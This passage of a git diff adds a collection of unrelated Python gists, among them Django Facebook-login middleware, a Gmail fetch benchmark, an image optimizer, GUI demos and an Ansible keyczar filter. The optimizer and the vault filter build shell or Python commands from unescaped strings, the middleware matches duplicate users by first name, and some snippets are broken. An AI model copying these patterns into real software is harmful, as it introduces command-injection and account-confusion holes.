+        app_label, model_name = settings.AUTH_PROFILE_MODULE.split(".")
+        self.profile_model = models.get_model(app_label, model_name)
+
+    def get_api_key(self, request):
+        username = api_key = None
+
+        if request.META.get('HTTP_AUTHORIZATION') and request.META['HTTP_AUTHORIZATION'].lower().startswith('apikey '):
+            (auth_type, data) = request.META['HTTP_AUTHORIZATION'].split()
+
+            if auth_type.lower() != 'apikey':
+                raise ValueError("Incorrect authorization header.")
+
+            username, api_key = data.split(':', 1)
+        else:
+            username = request.GET.get('username') or request.POST.get('username')
+            api_key = request.GET.get('api_key') or request.POST.get('api_key')
+        return username, api_key
+
+    def has_api_key(self, request):
+        username, api_key = self.get_api_key(request)
+        return username and api_key
+
+    def is_token_valid(self, request, signed_request):
+        ''' Try to find out if the token is valid
+
+        we need an api_key and a valid token
+        '''
+        if not self.has_api_key(request):
+            return False
+
+        if not signed_request.user.oauth_token.has_expired:
+            return True
+        else:
+            return False
+
+    def process_request(self, request):
+        oauth_token = None
+        if request.path.startswith('/js/') or request.path.startswith('/img/')\
+         or request.path.startswith('/css/') or request.path.startswith('/admin/'):
+            return 
+
+        signed_request = self._get_fb_user_from_cookie(request.COOKIES)
+        if not signed_request:
+            return 
+
+        # If the data for API key are passed then we don't need the FB data to be fetched real-time
+        if self.is_token_valid(request, signed_request):
+            request.user = None # to be set by the api key
+            return
+
+        try:
+            graph = facebook.GraphAPI(signed_request.user.oauth_token.token)
+            me = graph.get("me")
+        except facebook.FacepyError, e:
+            request.user = None
+        else:
+            # get or create the user
+            request.user = self._get_user_for_facebook_graph(me, signed_request.user)
+            request.user.graph = graph
+            """
+                We shamelessly LIE about who authenticated the user.
+                TODO: Create a custom backend, when I have time.
+            """
+            # log the user in (we want is stateless, thus we only send the signal)
+            request.user.backend = "django.contrib.auth.backends.ModelBackend"
+            user_logged_in.send(sender=request.user.__class__, request=request, user=request.user)
+
+    def _get_user_for_facebook_graph(self, me, request_user):
+        user = None
+        try:
+            profile = self.profile_model.objects.get(**{
+                settings.AUTH_PROFILE_MODULE_FACEBOOK_FIELD: request_user.id
+            })
+        except self.profile_model.DoesNotExist:
+            user = self._create_user_for_facebook_graph(me, request_user)
+        else:
+            user = profile.user
+            
+        return user
+
+    def _create_user_for_facebook_graph(self, me, request_user):
+        user = User()
+        user.first_name = me["name"]
+        user.email = me["email"]
+        user.username = me["email"]
+        user.set_unusable_password()
+        try:
+            user.save()
+        except:
+            # it seems we have duplicates
+            user = User.objects.get(first_name=me['name'])
+        else:
+            """
+                Profile should be created by a post-save
+                signal on User. Hopefully..
+            """
+            profile = user.get_profile()
+            setattr(profile, settings.AUTH_PROFILE_MODULE_FACEBOOK_FIELD, request_user.id)
+            setattr(profile, settings.AUTH_PROFILE_MODULE_FACEBOOK_TOKEN_FIELD, request_user.oauth_token.token)
+            profile.save()
+
+        return user
+
+    def _get_fb_user_from_cookie(self, cookies):
+        cookie = cookies.get("fbsr_" + settings.FACEBOOK_APP_ID, "")
+        if not cookie:
+            return None
+        
+        try:
+            return facebook.SignedRequest(cookie, settings.FACEBOOK_APP_SECRET, settings.FACEBOOK_APP_ID)
+        except:
+            return None
\ No newline at end of file
diff --git a/hard-gists/3978039/._snippet.py b/hard-gists/3978039/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3978039/._snippet.py differ
diff --git a/hard-gists/3978039/snippet.py b/hard-gists/3978039/snippet.py
new file mode 100644
index 00000000..b836c6bc
--- /dev/null
+++ b/hard-gists/3978039/snippet.py
@@ -0,0 +1,126 @@
+import re
+import logbook
+from pprint import pprint
+import time
+import sys
+
+import threading
+import Queue
+import multiprocessing
+
+import credential_utils
+from imap_utils import GIMAPFetcher
+
+class Timer(object):
+	'''Timer for a _with_ block'''
+	def __init__(self, msg = None):
+		self.msg = msg
+	def __enter__(self):
+		self.start = time.time()
+	def __exit__(self, *args):
+		elapsed = time.time() - self.start
+		if self.msg:
+			print "%s: %f" % (self.msg, elapsed)		
+		else:
+			print elapsed
+
+def connect(login):
+	'''Connect to IMAP server with gmvault credential'''
+	logbook.NullHandler().push_application()
+	credential = credential_utils.CredentialHelper.get_credential(
+		{'email': login, 'passwd': 'not_seen', 'oauth': 'empty'})
+
+	imap = GIMAPFetcher('imap.gmail.com', 993, login, credential,
+		readonly_folder = True)
+	imap.connect(go_to_all_folder = True)
+	return imap
+
+def search(imap, count):
+	'''Find the first _count_ messages in the current mailbox'''
+	req = '1:%d' % (count,)
+	return imap.search({'type': 'imap', 'req': req})
+
+def subject(msg):
+	'''Find the subject of an email message, as returned from fetch()'''
+	md = re.search(r'^Subject: ([^\n\r]*)', msg[GIMAPFetcher.EMAIL_BODY],
+		re.M | re.I)
+	return md.group(1) if md else None
+
+def fetch_subject(imap, i):
+	'''Fetch message number _i_, and get its subject'''
+	msg = imap.fetch(i, GIMAPFetcher.GET_ALL_INFO)[i]
+	return subject(msg)
+
+def subjects_single(imap, ids):
+	return sum(len(fetch_subject(imap, i)) for i in ids)
+
+
+def subjects_thread(login, ids, poolsize):
+	inq = Queue.Queue()		# ids to process
+	outq = Queue.Queue()	# resulting subject lines
+	def worker():
+		imap = connect(login)
+		while True:
+			i = inq.get()
+			if not i: # 'None' marks no more data
+				break
+			outq.put(fetch_subject(imap, i))
+	
+	for i in ids:
+		inq.put(i)
+	
+	ts = []
+	for n in range(poolsize):
+		t = threading.Thread(target = worker)
+		ts.append(t)
+		t.start()
+		inq.put(None) # tell each thread we're done
+	
+	for t in ts:	# wait for threads to finish
+		t.join()
+	
+	r = []
+	try:
+		while True:
+			s = outq.get(block = False)
+			r.append(s)
+	except Queue.Empty:
+		pass
+	return sum(len(x) for x in r)
+
+
+process_imap = None	# gotta use globals for initializing mp.Pool
+
+def mp_process(i):
+	global process_imap
+	return fetch_subject(process_imap, i)
+	
+def subjects_process(login, ids, poolsize):
+	def init():
+		global process_imap
+		process_imap = connect(login)
+	pool = multiprocessing.Pool(poolsize, init)
+	s = pool.map(mp_process, ids)
+	return sum(len(x) for x in s)
+
+
+if __name__ == '__main__':
+	if len(sys.argv) != 3:
+		print "Test the speed of parallel fetching from Gmail"
+		print "Usage: speed.py GMAIL_ACCOUNT NUMBER_OF_MESSAGES"
+		sys.exit(1)
+		
+	login = sys.argv[1]
+	count = int(sys.argv[2])
+
+	imap = connect(login)
+	ids = search(imap, count)
+
+	with Timer('single threaded'):
+		print subjects_single(imap, ids)
+
+	with Timer('multi threaded'):
+		print subjects_thread(login, ids, 5)
+
+	with Timer('processes'):
+		print subjects_process(login, ids, 5)
diff --git a/hard-gists/3978536/._snippet.py b/hard-gists/3978536/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3978536/._snippet.py differ
diff --git a/hard-gists/3978536/snippet.py b/hard-gists/3978536/snippet.py
new file mode 100644
index 00000000..bc61a49c
--- /dev/null
+++ b/hard-gists/3978536/snippet.py
@@ -0,0 +1,30 @@
+# On Debian, you need to install these packages:
+# jpegoptim optipng pngcrush advancecomp
+
+import subprocess
+from os.path import splitext
+
+from django.dispatch import receiver
+from easy_thumbnails.signals import saved_file, thumbnail_created
+
+# on-save image optimization
+@receiver(saved_file)
+def optimize_file(sender, fieldfile, **kwargs):
+    optimize(fieldfile.path)
+
+# thumbnail optimization
+@receiver(thumbnail_created)
+def optimize_thumbnail(sender, **kwargs):
+    optimize(sender.path)
+
+def optimize(path):
+    # taken from trimage (http://trimage.org/)
+    runString = {
+        ".jpeg": u"jpegoptim -f --strip-all '%(file)s'",
+        ".jpg": u"jpegoptim -f --strip-all '%(file)s'",
+        ".png": u"optipng -force -o7 '%(file)s' && advpng -z4 '%(file)s' && pngcrush -rem gAMA -rem alla -rem cHRM -rem iCCP -rem sRGB -rem time '%(file)s' '%(file)s.bak' && mv '%(file)s.bak' '%(file)s'"
+    }
+
+    ext = splitext(path)[1].lower()
+    if ext in runString:
+        subprocess.Popen(runString[ext] % {'file': path}, shell=True)
\ No newline at end of file
diff --git a/hard-gists/3978565/._snippet.py b/hard-gists/3978565/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3978565/._snippet.py differ
diff --git a/hard-gists/3978565/snippet.py b/hard-gists/3978565/snippet.py
new file mode 100644
index 00000000..226ef308
--- /dev/null
+++ b/hard-gists/3978565/snippet.py
@@ -0,0 +1,32 @@
+# -*- coding: utf8 -*-
+
+import sys
+
+from PyQt4.QtCore import *
+from PyQt4.QtGui import *
+
+
+class Form(QDialog):
+    def __init__(self, parent=None):
+        super(Form, self).__init__(parent)
+
+        dial = QDial()
+        dial.setNotchesVisible(True)
+        spinbox = QSpinBox()
+        layout = QHBoxLayout()
+        layout.addWidget(dial)
+        layout.addWidget(spinbox)
+        self.setLayout(layout)
+
+
+        self.connect(dial, SIGNAL("valueChanged(int)"),
+                    spinbox, SLOT("setValue(int)"))
+        self.connect(spinbox, SIGNAL("valueChanged(int)"),
+                    dial, SLOT("setValue(int)"))
+        self.setWindowTitle("SignalAndSlot")
+
+app = QApplication(sys.argv)
+form = Form()
+form.show()
+app.exec_()
+
diff --git a/hard-gists/398429347c96e98aba88/._snippet.py b/hard-gists/398429347c96e98aba88/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/398429347c96e98aba88/._snippet.py differ
diff --git a/hard-gists/398429347c96e98aba88/snippet.py b/hard-gists/398429347c96e98aba88/snippet.py
new file mode 100644
index 00000000..9f206578
--- /dev/null
+++ b/hard-gists/398429347c96e98aba88/snippet.py
@@ -0,0 +1,95 @@
+#!/usr/bin/env python3
+# encoding: utf-8
+
+"""
+I saw a similar script on the homepage of Miguel Grinberg (the Flask book guy),
+but he was using webscraping. Here I use simple API calls instead.
+
+The script takes the presentations of a Python conference and orders the
+presentations in descending order by the number of youtube views. It
+is an indicator about the popularity of a video.
+
+Usage:
+    1) set the "conf" global variable
+    2) launch the script
+
+Requirements:
+    pafy
+    requests
+
+Author:
+    Laszlo Szathmary, alias Jabba Laci (jabba.laci@gmail.com)
+    https://pythonadventures.wordpress.com/
+"""
+
+import concurrent.futures
+import operator
+import sys
+from queue import Queue
+
+import pafy
+import requests
+
+q = Queue()
+
+#conf = "europython-2014"
+#conf = "pycon-us-2014"
+#conf = "pycon-us-2013"
+#conf = "pycon-us-2012"
+conf = "pycon-us-2015"
+conf_url = "http://pyvideo.org/api/v2/category/{conf}?format=json".format(conf=conf)
+
+
+class Video():
+    def __init__(self, url):
+        self.json_url = "{url}?format=json".format(url=url)
+        r = requests.get(self.json_url)
+        self.d = r.json()
+        self.youtube_link = self.d["source_url"]
+        self.process(self.youtube_link)
+
+    def process(self, youtube_link):
+        v = pafy.new(youtube_link)
+        self.views = v.viewcount
+        self.ups = v.likes
+        self.downs = v.dislikes
+        self.title = v.title
+        self.speakers = ", ".join(self.d['speakers'])
+
+    @staticmethod
+    def header():
+        return "{:>8} {:>6} {:>6}  {} ({})".format("Views", "Ups", "Downs", "Title", "Speakers")
+
+    def __str__(self):
+        return "{:8,} {:6,} {:6,}  {} ({})".format(self.views, self.ups, self.downs, self.title, self.speakers)
+
+
+def process(video):
+    v = Video(video)
+    q.put(v)
+    sys.stdout.write('.'); sys.stdout.flush()
+
+
+def main():
+    print(conf)
+    #
+    r = requests.get(conf_url)
+    d = r.json()
+    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
+        for video in d['videos']:
+            executor.submit(process, video)
+    #
+    print()
+    li = []
+    while not q.empty():
+        li.append(q.get())
+    #
+    li.sort(key=operator.attrgetter("views"), reverse=True)
+    print(Video.header())
+    for e in li:
+        print(e)
+
+##############################################################################
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/3984959/._snippet.py b/hard-gists/3984959/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3984959/._snippet.py differ
diff --git a/hard-gists/3984959/snippet.py b/hard-gists/3984959/snippet.py
new file mode 100644
index 00000000..c3cc8b22
--- /dev/null
+++ b/hard-gists/3984959/snippet.py
@@ -0,0 +1,52 @@
+# -*- coding: utf-8 -*-
+
+import requests
+from PySide import QtGui, QtCore
+import sys
+
+
+class AddressEdit(QtGui.QLineEdit):
+    def __init__(self, parent):
+        QtGui.QLineEdit.__init__(self, parent)
+
+
+class AddressBar(QtGui.QToolBar):
+    def __init__(self, browser):
+        QtGui.QToolBar.__init__(self, browser.window)
+        self.setFloatable(False)
+        self.setMovable(False)
+        self.browser = browser
+        self.address = AddressEdit(self)
+        self.address.returnPressed.connect(self.inputUrl)
+        self.addWidget(self.address)
+
+    def setUrl(self, url):
+        self.address.setText(url)
+
+    def inputUrl(self):
+        self.browser.load(self.address.text())
+
+
+class TextBrowser(QtGui.QApplication):
+    def __init__(self, argv):
+        QtGui.QApplication.__init__(self, argv)
+        self.window = QtGui.QMainWindow()
+        self.addressBar = AddressBar(self)
+
+        self.label = QtGui.QLabel()
+        self.window.setCentralWidget(self.label)
+        self.window.addToolBar(self.addressBar)
+        self.window.show()
+        self.load("http://hogel.org")
+
+    def load(self, url):
+        self.addressBar.setUrl(url)
+        html = requests.get(url).read().decode("utf-8")
+        self.label.setTextFormat(QtCore.Qt.RichText)
+        self.label.setText(html)
+        self.label.update()
+        self.label.repaint()
+
+if __name__ == '__main__':
+    browser = TextBrowser(sys.argv)
+    browser.exec_()
diff --git a/hard-gists/3989161/._snippet.py b/hard-gists/3989161/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3989161/._snippet.py differ
diff --git a/hard-gists/3989161/snippet.py b/hard-gists/3989161/snippet.py
new file mode 100644
index 00000000..bc780f7f
--- /dev/null
+++ b/hard-gists/3989161/snippet.py
@@ -0,0 +1,18 @@
+#!/usr/bin/python
+
+import mosquitto
+import textwrap
+
+def on_message(mosq, obj, msg):
+    for s in textwrap.wrap(msg.payload, width=32):
+        print(s)
+
+mqttc = mosquitto.Mosquitto()
+mqttc.on_message = on_message
+
+mqttc.connect("test.mosquitto.org", 1883, 60)
+mqttc.subscribe("#", 0)
+
+rc = 0
+while rc == 0:
+    rc = mqttc.loop()
diff --git a/hard-gists/3990769/._snippet.py b/hard-gists/3990769/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3990769/._snippet.py differ
diff --git a/hard-gists/3990769/snippet.py b/hard-gists/3990769/snippet.py
new file mode 100644
index 00000000..ccac49fe
--- /dev/null
+++ b/hard-gists/3990769/snippet.py
@@ -0,0 +1,92 @@
+"""Per instance behaviors for Plone's Dexterity.
+
+  <adapter
+      for=".interfaces.IBasetype"
+      factory=".instancebehaviors.DexterityInstanceBehaviorAssignable" />
+
+Also see:
+http://opkode.net/media/blog/plone-and-dexterity-enable-behaviors-per-content-type-instance
+
+"""
+from plone.behavior.interfaces import IBehavior
+from plone.dexterity.behavior import DexterityBehaviorAssignable
+from zope.annotation import IAnnotations
+from zope.component import queryUtility
+from zope.interface import alsoProvides, noLongerProvides
+
+INSTANCE_BEHAVIORS_KEY = KEY = 'g24.elements.instance_behaviors'
+
+class DexterityInstanceBehaviorAssignable(DexterityBehaviorAssignable):
+    """ Support per instance specification of plone.behavior behaviors
+    """
+
+    def __init__(self, context):
+        super(DexterityInstanceBehaviorAssignable, self).__init__(context)
+        annotations = IAnnotations(context)
+        self.instance_behaviors = annotations.get(KEY, ())
+
+    def enumerateBehaviors(self):
+        self.behaviors = self.fti.behaviors + self.instance_behaviors
+        for name in self.behaviors:
+            behavior = queryUtility(IBehavior, name=name)
+            if behavior is not None:
+                yield behavior
+
+
+def enable_behaviors(obj, behaviors, ifaces):
+    """ Enable behaviors on an object.
+
+    :param obj: The Dexterity content object to enable behaviors on.
+    :type obj: object
+    :param behaviors: Behaviors to be enabled on the object. This is a list of
+                      dotted names of behavior schema interfaces.
+    :type behaviors: list
+    :param ifaces: Behavior marker interfaces belonging to the behaviors to be
+                   enabled. This is a list of interface classes.
+    :type ifaces: class
+
+    Use it like so:
+    >>> from plone.app.event.dx.interfaces import IDXEvent
+    >>> enable_behaviors(obj, ['plone.app.event.dx.behaviors.IEventBasic',],
+    ...                       [IDXEvent,])
+
+    """
+    annotations = IAnnotations(obj)
+    instance_behaviors = annotations.get(KEY, ())
+    instance_behaviors += behaviors
+    annotations[KEY] = instance_behaviors
+
+    for iface in ifaces:
+        alsoProvides(obj, iface)
+
+    obj.reindexObject(idxs=('object_provides'))
+
+
+def disable_behaviors(obj, behaviors, ifaces):
+    """ Disable behaviors on an object.
+
+    :param obj: The Dexterity content object to disable behaviors on.
+    :type obj: object
+    :param behaviors: Behaviors to be disabled on the object. This is a list of
+                      dotted names of behavior schema interfaces.
+    :type behaviors: list
+    :param ifaces: Behavior marker interfaces belonging to the behaviors to be
+                   disabled. This is a list of interface classes.
+    :type ifaces: class
+
+    Use it like so:
+    >>> from plone.app.event.dx.interfaces import IDXEvent
+    >>> disable_behaviors(obj, ['plone.app.event.dx.behaviors.IEventBasic',],
+    ...                        [IDXEvent,])
+
+    """
+    annotations = IAnnotations(obj)
+    instance_behaviors = annotations.get(KEY, ())
+    instance_behaviors = filter(lambda x: x not in behaviors,
+                                instance_behaviors)
+    annotations[KEY] = instance_behaviors
+
+    for iface in ifaces:
+        noLongerProvides(obj, iface)
+
+    obj.reindexObject(idxs=('object_provides'))
diff --git a/hard-gists/3993992/._snippet.py b/hard-gists/3993992/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3993992/._snippet.py differ
diff --git a/hard-gists/3993992/snippet.py b/hard-gists/3993992/snippet.py
new file mode 100644
index 00000000..232473c4
--- /dev/null
+++ b/hard-gists/3993992/snippet.py
@@ -0,0 +1,51 @@
+import numpy as np
+import matplotlib.pyplot as plt
+import scipy.optimize as so
+
+def find_confidence_interval(x, pdf, confidence_level):
+    return pdf[pdf > x].sum() - confidence_level
+
+def density_contour(xdata, ydata, nbins_x, nbins_y, ax=None, **contour_kwargs):
+    """ Create a density contour plot.
+
+    Parameters
+    ----------
+    xdata : numpy.ndarray
+    ydata : numpy.ndarray
+    nbins_x : int
+        Number of bins along x dimension
+    nbins_y : int
+        Number of bins along y dimension
+    ax : matplotlib.Axes (optional)
+        If supplied, plot the contour to this axis. Otherwise, open a new figure
+    contour_kwargs : dict
+        kwargs to be passed to pyplot.contour()
+    """
+
+    H, xedges, yedges = np.histogram2d(xdata, ydata, bins=(nbins_x,nbins_y), normed=True)
+    x_bin_sizes = (xedges[1:] - xedges[:-1]).reshape((1,nbins_x))
+    y_bin_sizes = (yedges[1:] - yedges[:-1]).reshape((nbins_y,1))
+
+    pdf = (H*(x_bin_sizes*y_bin_sizes))
+
+    one_sigma = so.brentq(find_confidence_interval, 0., 1., args=(pdf, 0.68))
+    two_sigma = so.brentq(find_confidence_interval, 0., 1., args=(pdf, 0.95))
+    three_sigma = so.brentq(find_confidence_interval, 0., 1., args=(pdf, 0.99))
+    levels = [one_sigma, two_sigma, three_sigma]
+
+    X, Y = 0.5*(xedges[1:]+xedges[:-1]), 0.5*(yedges[1:]+yedges[:-1])
+    Z = pdf.T
+
+    if ax == None:
+        contour = plt.contour(X, Y, Z, levels=levels, origin="lower", **contour_kwargs)
+    else:
+        contour = ax.contour(X, Y, Z, levels=levels, origin="lower", **contour_kwargs)
+
+    return contour
+
+def test_density_contour():
+    norm = np.random.normal(10., 15., size=(12540035, 2))
+    density_contour(norm[:,0], norm[:,1], 100, 100)
+    plt.show()
+
+test_density_contour()
\ No newline at end of file
diff --git a/hard-gists/39c2f27b581720482bc0/._snippet.py b/hard-gists/39c2f27b581720482bc0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/39c2f27b581720482bc0/._snippet.py differ
diff --git a/hard-gists/39c2f27b581720482bc0/snippet.py b/hard-gists/39c2f27b581720482bc0/snippet.py
new file mode 100644
index 00000000..acf68bd9
--- /dev/null
+++ b/hard-gists/39c2f27b581720482bc0/snippet.py
@@ -0,0 +1,16 @@
+#!/usr/bin/env python
+
+# you may need to apt-get install python-imaging
+
+import sys
+from PIL import Image
+
+def red(filename):
+    image = Image.open(filename)
+    for r, g, b in image.getdata():
+        if r < g and r < b:
+            return False
+    return True
+
+filename = sys.argv[1]
+print red(filename)
\ No newline at end of file
diff --git a/hard-gists/39c53f824daef7d363db/._snippet.py b/hard-gists/39c53f824daef7d363db/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/39c53f824daef7d363db/._snippet.py differ
diff --git a/hard-gists/39c53f824daef7d363db/snippet.py b/hard-gists/39c53f824daef7d363db/snippet.py
new file mode 100644
index 00000000..ca2bfc89
--- /dev/null
+++ b/hard-gists/39c53f824daef7d363db/snippet.py
@@ -0,0 +1,75 @@
+import requests as req
+import sys
+from dateutil.parser import parse
+from PIL import Image
+from StringIO import StringIO
+
+# hi8-fetch.py <date> <zoom level> <output>
+# E.g.: hi8-fetch.py 2016-01-13T22:10:00 8 2016-01-13T221000-z8.png
+# Fetch Himawari-8 full disks at a given zoom level.
+# Valid zoom levels seem to be powers of 2, 1..16, and 20.
+#
+# To do:
+# - Better errors (e.g., catch the "No Image" image).
+# - Don't ignore seconds, and/or:
+# - option to snap to nearest valid time.
+# - Librarify.
+
+
+# Tile size for this dataset:
+width = 550
+height = 550
+
+
+time = parse(sys.argv[1])
+scale = int(sys.argv[2])
+out = sys.argv[3]
+
+
+base = 'http://himawari8.nict.go.jp/img/D531106/%sd/550' % (scale)
+
+tiles = [[None] * scale] * scale
+
+
+def pathfor(t, x, y):
+  return "%s/%s/%02d/%02d/%02d%02d00_%s_%s.png" \
+  % (base, t.year, t.month, t.day, t.hour, t.minute, x, y)
+
+def fetch(session, path, retries=1, verbose=False, failure='error'):
+  # FIXME: this is kinda messy:
+  if retries < 0:
+    if failure == 'warning':
+      raise Warning('Could not download %s (filling with black)')
+      return np.zeros((width, height, 3))
+    elif failure == 'silent':
+      return np.zeros((width, height, 3))
+    else: # presumed failure == 'error':
+      raise IOError('Could not download %s')
+
+  try:
+    tiledata = session.get(path).content
+    tile = Image.open(StringIO(tiledata))
+    return tile
+  except:
+    if verbose:
+      print('Retrying %s (%s retries left)' % (path, retries))
+    return fetch(
+      session,
+      path,
+      retries=(retries - 1),
+      verbose=verbose,
+      failure=failure
+    )
+  
+
+sess = req.Session() # so requests will reuse the connection
+png = Image.new('RGB', (width*scale, height*scale))
+
+for x in range(scale):
+  for y in range(scale):
+    
+    path = pathfor(time, x, y)
+    tile = fetch(sess, path, retries=4, verbose=True, failure='error')
+    png.paste(tile, (width*x, height*y, width*(x+1), height*(y+1)))
+
+png.save(out, 'PNG')
\ No newline at end of file
diff --git a/hard-gists/3a094e0218bc91f0e2d4/._snippet.py b/hard-gists/3a094e0218bc91f0e2d4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3a094e0218bc91f0e2d4/._snippet.py differ
diff --git a/hard-gists/3a094e0218bc91f0e2d4/snippet.py b/hard-gists/3a094e0218bc91f0e2d4/snippet.py
new file mode 100644
index 00000000..b5ebdd65
--- /dev/null
+++ b/hard-gists/3a094e0218bc91f0e2d4/snippet.py
@@ -0,0 +1,111 @@
+# Copyright 2014 Zilverline B.V.
+
+#   Licensed under the Apache License, Version 2.0 (the "License");
+#   you may not use this file except in compliance with the License.
+#   You may obtain a copy of the License at
+
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+#   Unless required by applicable law or agreed to in writing, software
+#   distributed under the License is distributed on an "AS IS" BASIS,
+#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#   See the License for the specific language governing permissions and
+#   limitations under the License.
+
+
+# Put this code in filter_plugins/custom_plugins.py
+#
+# Tested with keyczar 0.71c. To create a keystore with keyczar do:
+#
+# keyczart create --location=$HOME/.my-keyczar-keystore --purpose=crypt 
+# keyczart addkey --location=$HOME/.my-keyczar-keystore --status=primary 
+#
+# Allows for property and file based encryption.
+# Example:
+# group_vars/development
+#   encrypted_property = AADFGASDGdsfkjasg
+#   unencrypted_property = www.zilverline.com
+#
+# Usage in e.g. task: password={{ encrypted_property | vault }}
+#
+# Example usage for file encryption
+#
+# - name: Install certificate key
+#  copy: content="{{ lookup('file', 'private.key.encrypted') | vault }}" dest=/etc/ssl/certs/private.key owner=root group=root mode=0600
+
+def vault(encrypted):
+  method = """
+from keyczar import keyczar
+import os.path
+import sys
+keydir = os.path.expanduser('~/.my-keyczar-keystore')
+crypter = keyczar.Crypter.Read(keydir)
+sys.stdout.write(crypter.Decrypt("%s"))
+  """ % encrypted
+  from subprocess import check_output
+  return check_output(["python", "-c", method])
+
+class FilterModule(object):
+
+  def filters(self):
+    return {
+      'vault': vault
+    }
+
+# Put this code in scripts/encrypt.sh
+#
+# This allows to encrypt individual values to use e.g. in group_var files
+# Usage:
+# - To encrypt: scripts/encrypt.sh
+# - To decrypt: scripts/encrypt.sh -d
+#!/usr/bin/env python
+import os.path
+import getpass
+from optparse import OptionParser
+from keyczar import keyczar
+
+parser = OptionParser()
+parser.add_option("-d", "--decrypt", action="store_true", help="decrypt the input", dest="decrypt")
+
+(options, args) = parser.parse_args()
+
+keydir = os.path.expanduser('~/.my-keyczar-keystore')
+crypter = keyczar.Crypter.Read(keydir)
+
+if options.decrypt:
+  encrypted_input = raw_input("Type the encrypted string: ")
+  print 'The decrypted secret: %s' % crypter.Decrypt(encrypted_input)
+else:
+  password = getpass.getpass('Type the secret you want to encrypt: ')
+  encrypted_secret = crypter.Encrypt(password)
+  print 'The encrypted secret: %s' % encrypted_secret
+
+# Put this code in scripts/encrypt-file.sh
+#
+# This allows to encrypt entire files e.g. private key files.
+# Usage:
+# - To encrypt: scripts/encrypt-file.sh -f FILE_TO_ENCRYPT
+# - To decrypt: scripts/encrypt-file.sh -d -f FILE_TO_DECRYPT
+#!/usr/bin/env python
+import os.path
+from optparse import OptionParser
+from keyczar import keyczar
+
+parser = OptionParser()
+parser.add_option("-f", "--file", help="the input file", dest="filename", metavar="FILE")
+parser.add_option("-d", "--decrypt", action="store_true", help="decrypt the file", dest="decrypt")
+
+(options, args) = parser.parse_args()
+
+if options.filename:
+  with open(options.filename, 'r') as content_file:
+    content = content_file.read()
+    keydir = os.path.expanduser('~/.my-keyczar-keystore')
+    crypter = keyczar.Crypter.Read(keydir)
+    if options.decrypt:
+      print crypter.Decrypt(content)
+    else:
+      encrypted_secret = crypter.Encrypt(content)
+      print encrypted_secret
+else:
+  parser.print_help()
diff --git a/hard-gists/3a2a081e4f3089920fd8aecefecbe280/._snippet.py b/hard-gists/3a2a081e4f3089920fd8aecefecbe280/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3a2a081e4f3089920fd8aecefecbe280/._snippet.py differ
diff --git a/hard-gists/3a2a081e4f3089920fd8aecefecbe280/snippet.py b/hard-gists/3a2a081e4f3089920fd8aecefecbe280/snippet.py
new file mode 100644
index 00000000..aac281ff
--- /dev/null
+++ b/hard-gists/3a2a081e4f3089920fd8aecefecbe280/snippet.py
@@ -0,0 +1,189 @@
+'''Trains a simple convnet on the MNIST dataset.
+Does flat increment from T. Xiao  "Error-Driven Incremental Learning in Deep Convolutional 
+Neural Network for Large-Scale Image Classification"
+Starts with just 3 classes, trains for 12 epochs then 
+incrementally trains the rest of the classes by reusing 
+the trained weights.
+'''
+
+from __future__ import print_function
+import numpy as np
+np.random.seed(1)  # for reproducibility
+
+from keras.datasets import mnist
+from keras.models import Sequential, model_from_json
+from keras.layers.core import Dense, Dropout, Activation, Flatten
+from keras.layers.convolutional import Convolution2D, MaxPooling2D
+from keras.utils import np_utils
+
+def build_data(classes,total_classes,X_train_all,y_train_all,X_test_all,y_test_all):
+    train_ind = []
+    test_ind = []
+    for c in classes:
+        train_ind.extend(list(np.where(y_train_all==c)[0]))
+        test_ind.extend(list(np.where(y_test_all==c)[0]))
+
+    X_train = X_train_all[train_ind,:,:]
+    X_test = X_test_all[test_ind,:,:]
+
+    y_train_true = y_train_all[train_ind]
+    y_train = np.zeros(y_train_true.shape)
+    y_test_true = y_test_all[test_ind]
+    y_test = np.zeros(y_test_true.shape)
+
+    for i,c in enumerate(classes):
+        train_ind = list(np.where(y_train_true==c)[0])
+        test_ind = list(np.where(y_test_true==c)[0])
+        y_train[train_ind] = i
+        y_test[test_ind] = i
+
+
+    X_train = X_train.reshape(X_train.shape[0], 1, img_rows, img_cols)
+    X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols)
+    X_train = X_train.astype('float32')
+    X_test = X_test.astype('float32')
+    X_train /= 255
+    X_test /= 255
+
+    # convert class vectors to binary class matrices
+    Y_train = np_utils.to_categorical(y_train, total_classes)
+    Y_test = np_utils.to_categorical(y_test, total_classes)
+    
+    return X_train, Y_train, X_test, Y_test
+
+def build_model(old_model=None):
+    model = Sequential()
+
+    if old_model is None:
+        model.add(Convolution2D(nb_filters, nb_conv, nb_conv,
+                        border_mode='valid',
+                        input_shape=(1, img_rows, img_cols)))
+    else:
+        weights = old_model.layers[0].get_weights()
+        model.add(Convolution2D(nb_filters, nb_conv, nb_conv,
+                        border_mode='valid',weights=weights,
+                        input_shape=(1, img_rows, img_cols)))
+    model.add(Activation('relu'))
+    if old_model is None:
+        model.add(Convolution2D(nb_filters, nb_conv, nb_conv))
+    else:
+        weights = old_model.layers[2].get_weights()
+        model.add(Convolution2D(nb_filters, nb_conv, nb_conv,weights=weights))
+    model.add(Activation('relu'))
+    model.add(MaxPooling2D(pool_size=(nb_pool, nb_pool)))
+    model.add(Dropout(0.25))
+
+    model.add(Flatten())
+    if old_model is None:
+        model.add(Dense(128))
+    else:
